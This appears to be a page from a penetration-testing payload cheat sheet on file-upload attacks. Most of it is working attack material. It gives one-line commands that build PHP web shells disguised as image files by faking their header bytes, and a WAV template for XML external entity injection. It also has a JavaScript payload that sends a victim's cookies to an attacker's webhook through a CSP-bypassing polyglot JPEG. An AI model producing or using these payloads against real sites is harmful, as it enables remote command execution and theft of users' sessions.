Payloads
File Upload
# JPG
echo -n -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>.' > shell.jpg
# PNG
echo -n -e '\x89\x50\x4E\x47<?php system($_GET["cmd"]);?>.' > shell.png
# GIF
echo -n -e '\x47\x49\x46\x38<?php system($_GET["cmd"]);?>.' > shell.gif
# BMP
echo -n -e '\x42\x4D<?php system($_GET["cmd"]);?>.' > shell.bmp
# WAV (XXE)
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00YOUR_XML_PAYLOAD_HERE\x00' > payload.wavBypass CSP Polyglot JPEG
Payload to embed in the picture via hxd (Use this POC)
document.location='<WEBHOOK>/zeyad?c='+encodeURIComponent(btoa(document.cookie));Code to execute code as JS
<script charset="ISO-8859-1" src="http://portswigger-labs.net/polyglot/jpeg/xss.jpg"></script>Research link: https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
Server Side Request Forgery
SVG
Meta Tags
Style tags
HTTP Redirect
Edge Side Include
Electron RCE
More
XSS
Markdown
Payload in hashstring
Last updated